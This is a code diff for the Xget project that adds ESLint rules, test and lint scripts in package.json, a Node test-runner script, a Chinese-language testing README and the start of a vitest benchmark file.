'block-spacing': ['error', 'always'],
|
||||||
|
'brace-style': ['error', '1tbs', {
|
||||||
|
allowSingleLine: true
|
||||||
|
}],
|
||||||
|
'camelcase': ['error', {
|
||||||
|
properties: 'never'
|
||||||
|
}],
|
||||||
|
'comma-dangle': ['error', 'never'],
|
||||||
|
'comma-spacing': ['error', {
|
||||||
|
before: false,
|
||||||
|
after: true
|
||||||
|
}],
|
||||||
|
'comma-style': ['error', 'last'],
|
||||||
|
'computed-property-spacing': ['error', 'never'],
|
||||||
|
'eol-last': ['error', 'always'],
|
||||||
|
'func-call-spacing': ['error', 'never'],
|
||||||
|
'indent': ['error', 2, {
|
||||||
|
SwitchCase: 1
|
||||||
|
}],
|
||||||
|
'key-spacing': ['error', {
|
||||||
|
beforeColon: false,
|
||||||
|
afterColon: true
|
||||||
|
}],
|
||||||
|
'keyword-spacing': ['error', {
|
||||||
|
before: true,
|
||||||
|
after: true
|
||||||
|
}],
|
||||||
|
'linebreak-style': ['error', 'unix'],
|
||||||
|
'no-multiple-empty-lines': ['error', {
|
||||||
|
max: 2,
|
||||||
|
maxEOF: 1
|
||||||
|
}],
|
||||||
|
'no-trailing-spaces': 'error',
|
||||||
|
'object-curly-spacing': ['error', 'always'],
|
||||||
|
'quotes': ['error', 'single', {
|
||||||
|
avoidEscape: true
|
||||||
|
}],
|
||||||
|
'semi': ['error', 'always'],
|
||||||
|
'semi-spacing': ['error', {
|
||||||
|
before: false,
|
||||||
|
after: true
|
||||||
|
}],
|
||||||
|
'space-before-blocks': ['error', 'always'],
|
||||||
|
'space-before-function-paren': ['error', {
|
||||||
|
anonymous: 'always',
|
||||||
|
named: 'never',
|
||||||
|
asyncArrow: 'always'
|
||||||
|
}],
|
||||||
|
'space-in-parens': ['error', 'never'],
|
||||||
|
'space-infix-ops': 'error',
|
||||||
|
'space-unary-ops': ['error', {
|
||||||
|
words: true,
|
||||||
|
nonwords: false
|
||||||
|
}],
|
||||||
|
|
||||||
|
// ES6+ rules
|
||||||
|
'arrow-spacing': ['error', {
|
||||||
|
before: true,
|
||||||
|
after: true
|
||||||
|
}],
|
||||||
|
'constructor-super': 'error',
|
||||||
|
'no-class-assign': 'error',
|
||||||
|
'no-const-assign': 'error',
|
||||||
|
'no-dupe-class-members': 'error',
|
||||||
|
'no-duplicate-imports': 'error',
|
||||||
|
'no-new-symbol': 'error',
|
||||||
|
'no-this-before-super': 'error',
|
||||||
|
'no-useless-computed-key': 'error',
|
||||||
|
'no-useless-constructor': 'error',
|
||||||
|
'no-useless-rename': 'error',
|
||||||
|
'no-var': 'error',
|
||||||
|
'object-shorthand': ['error', 'always'],
|
||||||
|
'prefer-arrow-callback': 'error',
|
||||||
|
'prefer-const': 'error',
|
||||||
|
'prefer-destructuring': ['error', {
|
||||||
|
array: true,
|
||||||
|
object: true
|
||||||
|
}, {
|
||||||
|
enforceForRenamedProperties: false
|
||||||
|
}],
|
||||||
|
'prefer-rest-params': 'error',
|
||||||
|
'prefer-spread': 'error',
|
||||||
|
'prefer-template': 'error',
|
||||||
|
'rest-spread-spacing': ['error', 'never'],
|
||||||
|
'template-curly-spacing': ['error', 'never']
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
files: ['test/**/*.js'],
|
||||||
|
rules: {
|
||||||
|
// Relax some rules for test files
|
||||||
|
'no-console': 'off',
|
||||||
|
'no-unused-expressions': 'off'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
];
|
||||||
+22
-3
@@ -3,6 +3,11 @@
|
|||||||
"xget": "file:"
|
"xget": "file:"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
|
"@cloudflare/vitest-pool-workers": "^0.5.0",
|
||||||
|
"@cloudflare/workers-types": "^4.20241218.0",
|
||||||
|
"eslint": "^9.17.0",
|
||||||
|
"prettier": "^3.4.2",
|
||||||
|
"vitest": "^2.1.8",
|
||||||
"wrangler": "^4.18.0"
|
"wrangler": "^4.18.0"
|
||||||
},
|
},
|
||||||
"name": "xget",
|
"name": "xget",
|
||||||
@@ -10,7 +15,21 @@
|
|||||||
"scripts": {
|
"scripts": {
|
||||||
"deploy": "wrangler deploy",
|
"deploy": "wrangler deploy",
|
||||||
"dev": "wrangler dev",
|
"dev": "wrangler dev",
|
||||||
"start": "wrangler dev"
|
"format": "node scripts/test.js format",
|
||||||
|
"format:check": "prettier --check src/ test/ *.js *.json *.md",
|
||||||
|
"lint": "node scripts/test.js lint",
|
||||||
|
"lint:fix": "eslint src/ test/ --fix",
|
||||||
|
"start": "wrangler dev",
|
||||||
|
"test": "node scripts/test.js run",
|
||||||
|
"test:bench": "node scripts/test.js bench",
|
||||||
|
"test:ci": "node scripts/test.js ci",
|
||||||
|
"test:clean": "node scripts/test.js clean",
|
||||||
|
"test:coverage": "node scripts/test.js coverage",
|
||||||
|
"test:run": "vitest run",
|
||||||
|
"test:setup": "node scripts/test.js setup",
|
||||||
|
"test:ui": "vitest --ui",
|
||||||
|
"test:watch": "node scripts/test.js watch",
|
||||||
|
"type-check": "tsc --noEmit"
|
||||||
},
|
},
|
||||||
"version": "0.0.0"
|
"version": "1.0.0"
|
||||||
}
|
}
|
||||||
+335
@@ -0,0 +1,335 @@
|
|||||||
|
#!/usr/bin/env node
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Test runner script with additional utilities
|
||||||
|
*/
|
||||||
|
|
||||||
|
import { spawn } from 'child_process';
|
||||||
|
import { existsSync, mkdirSync, writeFileSync } from 'fs';
|
||||||
|
import { dirname, join } from 'path';
|
||||||
|
import { fileURLToPath } from 'url';
|
||||||
|
|
||||||
|
const __filename = fileURLToPath(import.meta.url);
|
||||||
|
const __dirname = dirname(__filename);
|
||||||
|
const rootDir = join(__dirname, '..');
|
||||||
|
|
||||||
|
// Test configuration
|
||||||
|
const TEST_CONFIG = {
|
||||||
|
timeout: 30000,
|
||||||
|
coverage: {
|
||||||
|
threshold: 80,
|
||||||
|
formats: ['text', 'html', 'lcov', 'json']
|
||||||
|
},
|
||||||
|
reporters: ['default', 'json'],
|
||||||
|
environments: ['node', 'workers']
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Main test runner
|
||||||
|
*/
|
||||||
|
async function main() {
|
||||||
|
const args = process.argv.slice(2);
|
||||||
|
const command = args[0] || 'run';
|
||||||
|
|
||||||
|
console.log('🧪 Xget Test Runner');
|
||||||
|
console.log('==================');
|
||||||
|
|
||||||
|
try {
|
||||||
|
switch (command) {
|
||||||
|
case 'run':
|
||||||
|
await runTests(args.slice(1));
|
||||||
|
break;
|
||||||
|
case 'watch':
|
||||||
|
await watchTests(args.slice(1));
|
||||||
|
break;
|
||||||
|
case 'coverage':
|
||||||
|
await runCoverage(args.slice(1));
|
||||||
|
break;
|
||||||
|
case 'bench':
|
||||||
|
await runBenchmarks(args.slice(1));
|
||||||
|
break;
|
||||||
|
case 'lint':
|
||||||
|
await runLinting();
|
||||||
|
break;
|
||||||
|
case 'format':
|
||||||
|
await runFormatting();
|
||||||
|
break;
|
||||||
|
case 'ci':
|
||||||
|
await runCITests();
|
||||||
|
break;
|
||||||
|
case 'setup':
|
||||||
|
await setupTestEnvironment();
|
||||||
|
break;
|
||||||
|
case 'clean':
|
||||||
|
await cleanTestArtifacts();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
showHelp();
|
||||||
|
}
|
||||||
|
} catch (error) {
|
||||||
|
console.error('❌ Test runner failed:', error.message);
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Run tests
|
||||||
|
*/
|
||||||
|
async function runTests(args = []) {
|
||||||
|
console.log('🏃 Running tests...');
|
||||||
|
|
||||||
|
const vitestArgs = [
|
||||||
|
'run',
|
||||||
|
'--config', 'vitest.config.js',
|
||||||
|
...args
|
||||||
|
];
|
||||||
|
|
||||||
|
await runCommand('npx', ['vitest', ...vitestArgs]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Watch tests
|
||||||
|
*/
|
||||||
|
async function watchTests(args = []) {
|
||||||
|
console.log('👀 Watching tests...');
|
||||||
|
|
||||||
|
const vitestArgs = [
|
||||||
|
'--config', 'vitest.config.js',
|
||||||
|
'--watch',
|
||||||
|
...args
|
||||||
|
];
|
||||||
|
|
||||||
|
await runCommand('npx', ['vitest', ...vitestArgs]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Run coverage
|
||||||
|
*/
|
||||||
|
async function runCoverage(args = []) {
|
||||||
|
console.log('📊 Generating coverage report...');
|
||||||
|
|
||||||
|
const vitestArgs = [
|
||||||
|
'run',
|
||||||
|
'--config', 'vitest.config.js',
|
||||||
|
'--coverage',
|
||||||
|
...args
|
||||||
|
];
|
||||||
|
|
||||||
|
await runCommand('npx', ['vitest', ...vitestArgs]);
|
||||||
|
|
||||||
|
console.log('📈 Coverage report generated in ./coverage/');
|
||||||
|
|
||||||
|
// Generate coverage summary
|
||||||
|
await generateCoverageSummary();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Run benchmarks
|
||||||
|
*/
|
||||||
|
async function runBenchmarks(args = []) {
|
||||||
|
console.log('⚡ Running performance benchmarks...');
|
||||||
|
|
||||||
|
const vitestArgs = [
|
||||||
|
'bench',
|
||||||
|
'--config', 'vitest.config.js',
|
||||||
|
...args
|
||||||
|
];
|
||||||
|
|
||||||
|
await runCommand('npx', ['vitest', ...vitestArgs]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Run linting
|
||||||
|
*/
|
||||||
|
async function runLinting() {
|
||||||
|
console.log('🔍 Running ESLint...');
|
||||||
|
|
||||||
|
await runCommand('npx', ['eslint', 'src/', 'test/', '--ext', '.js']);
|
||||||
|
|
||||||
|
console.log('✅ Linting completed');
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Run formatting
|
||||||
|
*/
|
||||||
|
async function runFormatting() {
|
||||||
|
console.log('💅 Running Prettier...');
|
||||||
|
|
||||||
|
await runCommand('npx', ['prettier', '--write', 'src/', 'test/', '*.js', '*.json', '*.md']);
|
||||||
|
|
||||||
|
console.log('✅ Formatting completed');
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Run CI tests
|
||||||
|
*/
|
||||||
|
async function runCITests() {
|
||||||
|
console.log('🤖 Running CI test suite...');
|
||||||
|
|
||||||
|
// Run linting
|
||||||
|
await runLinting();
|
||||||
|
|
||||||
|
// Check formatting
|
||||||
|
console.log('📝 Checking code formatting...');
|
||||||
|
await runCommand('npx', ['prettier', '--check', 'src/', 'test/', '*.js', '*.json', '*.md']);
|
||||||
|
|
||||||
|
// Run tests with coverage
|
||||||
|
await runCoverage(['--reporter=json', '--reporter=text']);
|
||||||
|
|
||||||
|
// Run benchmarks
|
||||||
|
await runBenchmarks(['--reporter=json']);
|
||||||
|
|
||||||
|
console.log('✅ CI test suite completed');
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Setup test environment
|
||||||
|
*/
|
||||||
|
async function setupTestEnvironment() {
|
||||||
|
console.log('🔧 Setting up test environment...');
|
||||||
|
|
||||||
|
// Create necessary directories
|
||||||
|
const dirs = ['coverage', 'test/tmp', 'test/logs'];
|
||||||
|
dirs.forEach(dir => {
|
||||||
|
const fullPath = join(rootDir, dir);
|
||||||
|
if (!existsSync(fullPath)) {
|
||||||
|
mkdirSync(fullPath, { recursive: true });
|
||||||
|
console.log(`📁 Created directory: ${dir}`);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Create test configuration file
|
||||||
|
const testConfig = {
|
||||||
|
...TEST_CONFIG,
|
||||||
|
timestamp: new Date().toISOString(),
|
||||||
|
version: process.env.npm_package_version || '1.0.0'
|
||||||
|
};
|
||||||
|
|
||||||
|
writeFileSync(
|
||||||
|
join(rootDir, 'test/config.json'),
|
||||||
|
JSON.stringify(testConfig, null, 2)
|
||||||
|
);
|
||||||
|
|
||||||
|
console.log('✅ Test environment setup completed');
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Clean test artifacts
|
||||||
|
*/
|
||||||
|
async function cleanTestArtifacts() {
|
||||||
|
console.log('🧹 Cleaning test artifacts...');
|
||||||
|
|
||||||
|
const { rmSync } = await import('fs');
|
||||||
|
const artifactDirs = ['coverage', 'test/tmp', 'test/logs'];
|
||||||
|
|
||||||
|
artifactDirs.forEach(dir => {
|
||||||
|
const fullPath = join(rootDir, dir);
|
||||||
|
if (existsSync(fullPath)) {
|
||||||
|
rmSync(fullPath, { recursive: true, force: true });
|
||||||
|
console.log(`🗑️ Removed: ${dir}`);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
console.log('✅ Cleanup completed');
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generate coverage summary
|
||||||
|
*/
|
||||||
|
async function generateCoverageSummary() {
|
||||||
|
const coverageFile = join(rootDir, 'coverage/coverage-summary.json');
|
||||||
|
|
||||||
|
if (existsSync(coverageFile)) {
|
||||||
|
const { readFileSync } = await import('fs');
|
||||||
|
const coverage = JSON.parse(readFileSync(coverageFile, 'utf8'));
|
||||||
|
|
||||||
|
console.log('\n📊 Coverage Summary:');
|
||||||
|
console.log('===================');
|
||||||
|
|
||||||
|
const total = coverage.total;
|
||||||
|
console.log(`Lines: ${total.lines.pct}% (${total.lines.covered}/${total.lines.total})`);
|
||||||
|
console.log(`Functions: ${total.functions.pct}% (${total.functions.covered}/${total.functions.total})`);
|
||||||
|
console.log(`Branches: ${total.branches.pct}% (${total.branches.covered}/${total.branches.total})`);
|
||||||
|
console.log(`Statements: ${total.statements.pct}% (${total.statements.covered}/${total.statements.total})`);
|
||||||
|
|
||||||
|
// Check if coverage meets threshold
|
||||||
|
const threshold = TEST_CONFIG.coverage.threshold;
|
||||||
|
const meetsThreshold = [
|
||||||
|
total.lines.pct >= threshold,
|
||||||
|
total.functions.pct >= threshold,
|
||||||
|
total.branches.pct >= threshold,
|
||||||
|
total.statements.pct >= threshold
|
||||||
|
].every(Boolean);
|
||||||
|
|
||||||
|
if (meetsThreshold) {
|
||||||
|
console.log(`\n✅ Coverage meets threshold (${threshold}%)`);
|
||||||
|
} else {
|
||||||
|
console.log(`\n⚠️ Coverage below threshold (${threshold}%)`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Run command with proper error handling
|
||||||
|
*/
|
||||||
|
function runCommand(command, args = [], options = {}) {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const child = spawn(command, args, {
|
||||||
|
stdio: 'inherit',
|
||||||
|
cwd: rootDir,
|
||||||
|
...options
|
||||||
|
});
|
||||||
|
|
||||||
|
child.on('close', (code) => {
|
||||||
|
if (code === 0) {
|
||||||
|
resolve();
|
||||||
|
} else {
|
||||||
|
reject(new Error(`Command failed with exit code ${code}`));
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
child.on('error', (error) => {
|
||||||
|
reject(error);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Show help information
|
||||||
|
*/
|
||||||
|
function showHelp() {
|
||||||
|
console.log(`
|
||||||
|
Usage: node scripts/test.js <command> [options]
|
||||||
|
|
||||||
|
Commands:
|
||||||
|
run [args] Run tests once (default)
|
||||||
|
watch [args] Run tests in watch mode
|
||||||
|
coverage Generate coverage report
|
||||||
|
bench Run performance benchmarks
|
||||||
|
lint Run ESLint
|
||||||
|
format Run Prettier
|
||||||
|
ci Run full CI test suite
|
||||||
|
setup Setup test environment
|
||||||
|
clean Clean test artifacts
|
||||||
|
help Show this help
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
node scripts/test.js run
|
||||||
|
node scripts/test.js watch --grep "GitHub"
|
||||||
|
node scripts/test.js coverage
|
||||||
|
node scripts/test.js ci
|
||||||
|
|
||||||
|
Environment Variables:
|
||||||
|
VERBOSE_TESTS=true Enable verbose test output
|
||||||
|
TEST_TIMEOUT=30000 Set test timeout (ms)
|
||||||
|
NODE_ENV=test Set environment to test
|
||||||
|
`);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Run if called directly
|
||||||
|
if (import.meta.url === `file://${process.argv[1]}`) {
|
||||||
|
main().catch(console.error);
|
||||||
|
}
|
||||||
|
|
||||||
|
export { main, runBenchmarks, runCoverage, runTests };
|
||||||
|
|
||||||
+368
@@ -0,0 +1,368 @@
|
|||||||
|
# Xget 测试文档
|
||||||
|
|
||||||
|
本目录包含 Xget 项目的完整测试套件,涵盖单元测试、集成测试、性能测试和安全测试。
|
||||||
|
|
||||||
|
## 📁 目录结构
|
||||||
|
|
||||||
|
```
|
||||||
|
test/
|
||||||
|
├── benchmark/ # 性能基准测试
|
||||||
|
│ └── performance.bench.js
|
||||||
|
├── fixtures/ # 测试数据和模拟响应
|
||||||
|
│ └── responses.js
|
||||||
|
├── helpers/ # 测试工具和辅助函数
|
||||||
|
│ └── test-utils.js
|
||||||
|
├── index.test.js # 核心功能测试
|
||||||
|
├── integration.test.js # 集成测试
|
||||||
|
├── performance.test.js # 性能监控测试
|
||||||
|
├── platforms.test.js # 平台配置测试
|
||||||
|
├── security.test.js # 安全功能测试
|
||||||
|
├── utils.test.js # 工具函数测试
|
||||||
|
├── setup.js # 测试环境设置
|
||||||
|
└── README.md # 本文档
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🚀 运行测试
|
||||||
|
|
||||||
|
### 基本命令
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 运行所有测试
|
||||||
|
npm test
|
||||||
|
|
||||||
|
# 运行测试并监听文件变化
|
||||||
|
npm run test:watch
|
||||||
|
|
||||||
|
# 运行测试一次(CI 模式)
|
||||||
|
npm run test:run
|
||||||
|
|
||||||
|
# 生成测试覆盖率报告
|
||||||
|
npm run test:coverage
|
||||||
|
|
||||||
|
# 运行性能基准测试
|
||||||
|
npm run test:bench
|
||||||
|
```
|
||||||
|
|
||||||
|
### 运行特定测试
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 运行特定测试文件
|
||||||
|
npm test -- index.test.js
|
||||||
|
|
||||||
|
# 运行匹配模式的测试
|
||||||
|
npm test -- --grep "GitHub"
|
||||||
|
|
||||||
|
# 运行特定测试套件
|
||||||
|
npm test -- --grep "Platform Configuration"
|
||||||
|
```
|
||||||
|
|
||||||
|
## 📋 测试类型
|
||||||
|
|
||||||
|
### 1. 单元测试
|
||||||
|
|
||||||
|
测试单个函数和模块的功能:
|
||||||
|
|
||||||
|
- **index.test.js**: 核心请求处理逻辑
|
||||||
|
- **platforms.test.js**: 平台配置和 URL 转换
|
||||||
|
- **utils.test.js**: 工具函数和辅助方法
|
||||||
|
- **performance.test.js**: 性能监控组件
|
||||||
|
|
||||||
|
### 2. 集成测试
|
||||||
|
|
||||||
|
测试组件间的交互和端到端流程:
|
||||||
|
|
||||||
|
- **integration.test.js**: 完整的请求-响应流程测试
|
||||||
|
|
||||||
|
### 3. 安全测试
|
||||||
|
|
||||||
|
验证安全功能和防护机制:
|
||||||
|
|
||||||
|
- **security.test.js**: 安全头、输入验证、防护机制
|
||||||
|
|
||||||
|
### 4. 性能测试
|
||||||
|
|
||||||
|
评估系统性能和基准:
|
||||||
|
|
||||||
|
- **benchmark/performance.bench.js**: 性能基准测试
|
||||||
|
|
||||||
|
## 🛠️ 测试工具
|
||||||
|
|
||||||
|
### 测试辅助函数
|
||||||
|
|
||||||
|
`test/helpers/test-utils.js` 提供了丰富的测试工具:
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
import {
|
||||||
|
createMockRequest,
|
||||||
|
createMockResponse,
|
||||||
|
createGitRequest,
|
||||||
|
TEST_URLS,
|
||||||
|
PerformanceTestHelper
|
||||||
|
} from './helpers/test-utils.js';
|
||||||
|
|
||||||
|
// 创建模拟请求
|
||||||
|
const request = createMockRequest('https://example.com/gh/user/repo');
|
||||||
|
|
||||||
|
// 创建 Git 请求
|
||||||
|
const gitRequest = createGitRequest('https://example.com/gh/user/repo.git');
|
||||||
|
|
||||||
|
// 性能测试
|
||||||
|
const perfHelper = new PerformanceTestHelper();
|
||||||
|
await perfHelper.measure(async () => {
|
||||||
|
// 测试代码
|
||||||
|
}, 'operation-name');
|
||||||
|
```
|
||||||
|
|
||||||
|
### 模拟数据
|
||||||
|
|
||||||
|
`test/fixtures/responses.js` 包含预定义的响应数据:
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
import { MOCK_RESPONSES, createMockResponse } from './fixtures/responses.js';
|
||||||
|
|
||||||
|
// 使用预定义的响应
|
||||||
|
const response = createMockResponse(MOCK_RESPONSES.github.packageJson);
|
||||||
|
```
|
||||||
|
|
||||||
|
## 📊 测试覆盖率
|
||||||
|
|
||||||
|
项目设置了以下覆盖率目标:
|
||||||
|
|
||||||
|
- **分支覆盖率**: 80%
|
||||||
|
- **函数覆盖率**: 80%
|
||||||
|
- **行覆盖率**: 80%
|
||||||
|
- **语句覆盖率**: 80%
|
||||||
|
|
||||||
|
查看覆盖率报告:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
npm run test:coverage
|
||||||
|
open coverage/index.html
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🔧 测试配置
|
||||||
|
|
||||||
|
### Vitest 配置
|
||||||
|
|
||||||
|
测试使用 Vitest 和 Cloudflare Workers 测试池:
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
// vitest.config.js
|
||||||
|
export default defineWorkersConfig({
|
||||||
|
test: {
|
||||||
|
poolOptions: {
|
||||||
|
workers: {
|
||||||
|
wrangler: { configPath: './wrangler.toml' },
|
||||||
|
},
|
||||||
|
},
|
||||||
|
coverage: {
|
||||||
|
provider: 'v8',
|
||||||
|
thresholds: {
|
||||||
|
global: {
|
||||||
|
branches: 80,
|
||||||
|
functions: 80,
|
||||||
|
lines: 80,
|
||||||
|
statements: 80
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### 环境变量
|
||||||
|
|
||||||
|
测试支持以下环境变量:
|
||||||
|
|
||||||
|
- `NODE_ENV=test`: 测试环境标识
|
||||||
|
- `VERBOSE_TESTS=true`: 启用详细测试输出
|
||||||
|
- `TEST_TIMEOUT=30000`: 测试超时时间(毫秒)
|
||||||
|
|
||||||
|
## 📝 编写测试
|
||||||
|
|
||||||
|
### 基本测试结构
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { SELF } from 'cloudflare:test';
|
||||||
|
|
||||||
|
describe('功能模块', () => {
|
||||||
|
describe('子功能', () => {
|
||||||
|
it('应该正确处理正常情况', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/test');
|
||||||
|
expect(response.status).toBe(200);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('应该正确处理错误情况', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/invalid');
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### 异步测试
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
it('应该处理异步操作', async () => {
|
||||||
|
const startTime = Date.now();
|
||||||
|
const response = await SELF.fetch('https://example.com/test');
|
||||||
|
const endTime = Date.now();
|
||||||
|
|
||||||
|
expect(response.status).toBe(200);
|
||||||
|
expect(endTime - startTime).toBeLessThan(5000);
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### 错误测试
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
it('应该抛出预期的错误', async () => {
|
||||||
|
await expect(async () => {
|
||||||
|
await SELF.fetch('https://example.com/error');
|
||||||
|
}).rejects.toThrow('Expected error message');
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🐛 调试测试
|
||||||
|
|
||||||
|
### 启用详细输出
|
||||||
|
|
||||||
|
```bash
|
||||||
|
VERBOSE_TESTS=true npm test
|
||||||
|
```
|
||||||
|
|
||||||
|
### 调试特定测试
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 只运行失败的测试
|
||||||
|
npm test -- --reporter=verbose --bail
|
||||||
|
|
||||||
|
# 运行特定测试并显示详细信息
|
||||||
|
npm test -- --grep "specific test" --reporter=verbose
|
||||||
|
```
|
||||||
|
|
||||||
|
### 使用调试器
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
|
||||||
|
it('调试测试', async () => {
|
||||||
|
debugger; // 在浏览器开发工具中设置断点
|
||||||
|
const response = await SELF.fetch('https://example.com/test');
|
||||||
|
console.log('Response:', response); // 临时调试输出
|
||||||
|
expect(response.status).toBe(200);
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
## 📈 性能测试
|
||||||
|
|
||||||
|
### 基准测试
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 运行性能基准测试
|
||||||
|
npm run test:bench
|
||||||
|
|
||||||
|
# 比较性能结果
|
||||||
|
npm run test:bench -- --compare
|
||||||
|
```
|
||||||
|
|
||||||
|
### 性能监控
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
import { PerformanceTestHelper } from './helpers/test-utils.js';
|
||||||
|
|
||||||
|
const perfHelper = new PerformanceTestHelper();
|
||||||
|
|
||||||
|
it('应该在合理时间内完成', async () => {
|
||||||
|
const result = await perfHelper.measure(async () => {
|
||||||
|
return await SELF.fetch('https://example.com/test');
|
||||||
|
}, 'request-time');
|
||||||
|
|
||||||
|
const metrics = perfHelper.getMeasurements();
|
||||||
|
expect(metrics[0].duration).toBeLessThan(1000); // 1秒内完成
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🔒 安全测试
|
||||||
|
|
||||||
|
### 输入验证测试
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
import { SECURITY_PAYLOADS } from './helpers/test-utils.js';
|
||||||
|
|
||||||
|
describe('安全测试', () => {
|
||||||
|
it('应该防止 XSS 攻击', async () => {
|
||||||
|
for (const payload of SECURITY_PAYLOADS.xss) {
|
||||||
|
const response = await SELF.fetch(`https://example.com/gh/${payload}`);
|
||||||
|
expect(response.status).not.toBe(500); // 不应该导致服务器错误
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### 安全头验证
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
import { validateSecurityHeaders } from './helpers/test-utils.js';
|
||||||
|
|
||||||
|
it('应该包含所有安全头', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/test');
|
||||||
|
const validation = validateSecurityHeaders(response);
|
||||||
|
|
||||||
|
expect(validation.passed).toBe(true);
|
||||||
|
expect(validation.missing).toHaveLength(0);
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
## 📚 最佳实践
|
||||||
|
|
||||||
|
### 1. 测试命名
|
||||||
|
|
||||||
|
- 使用描述性的测试名称
|
||||||
|
- 遵循 "应该...当...时" 的格式
|
||||||
|
- 使用中文描述更清晰
|
||||||
|
|
||||||
|
### 2. 测试组织
|
||||||
|
|
||||||
|
- 按功能模块组织测试
|
||||||
|
- 使用 `describe` 嵌套分组
|
||||||
|
- 保持测试独立性
|
||||||
|
|
||||||
|
### 3. 断言
|
||||||
|
|
||||||
|
- 使用具体的断言
|
||||||
|
- 测试边界条件
|
||||||
|
- 验证错误情况
|
||||||
|
|
||||||
|
### 4. 性能
|
||||||
|
|
||||||
|
- 避免不必要的异步操作
|
||||||
|
- 使用模拟数据减少网络请求
|
||||||
|
- 设置合理的超时时间
|
||||||
|
|
||||||
|
### 5. 维护
|
||||||
|
|
||||||
|
- 定期更新测试数据
|
||||||
|
- 清理过时的测试
|
||||||
|
- 保持测试覆盖率
|
||||||
|
|
||||||
|
## 🤝 贡献测试
|
||||||
|
|
||||||
|
### 添加新测试
|
||||||
|
|
||||||
|
1. 确定测试类型和位置
|
||||||
|
2. 使用现有的测试工具
|
||||||
|
3. 遵循项目的测试风格
|
||||||
|
4. 确保测试通过且有意义
|
||||||
|
|
||||||
|
### 修复测试
|
||||||
|
|
||||||
|
1. 理解测试失败的原因
|
||||||
|
2. 修复代码或更新测试
|
||||||
|
3. 验证修复不会破坏其他测试
|
||||||
|
4. 更新相关文档
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
如有问题或建议,请查看 [贡献指南](../CONTRIBUTING.md) 或提交 [Issue](https://github.com/xixu-me/Xget/issues)。
|
||||||
@@ -0,0 +1,213 @@
|
|||||||
|
import { SELF } from 'cloudflare:test';
|
||||||
|
import { bench, describe } from 'vitest';
|
||||||
|
import { PerformanceTestHelper, TEST_URLS } from '../helpers/test-utils.js';
|
||||||
|
|
||||||
|
describe('Performance Benchmarks', () => {
|
||||||
|
const perfHelper = new PerformanceTestHelper();
|
||||||
|
|
||||||
|
describe('Request Processing Speed', () => {
|
||||||
|
bench('Basic request handling', async () => {
|
||||||
|
await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||||
|
method: 'HEAD'
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('GitHub file request', async () => {
|
||||||
|
await SELF.fetch(TEST_URLS.github.file, {
|
||||||
|
method: 'HEAD'
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('GitLab file request', async () => {
|
||||||
|
await SELF.fetch(TEST_URLS.gitlab.file, {
|
||||||
|
method: 'HEAD'
|
||||||
|
});
|
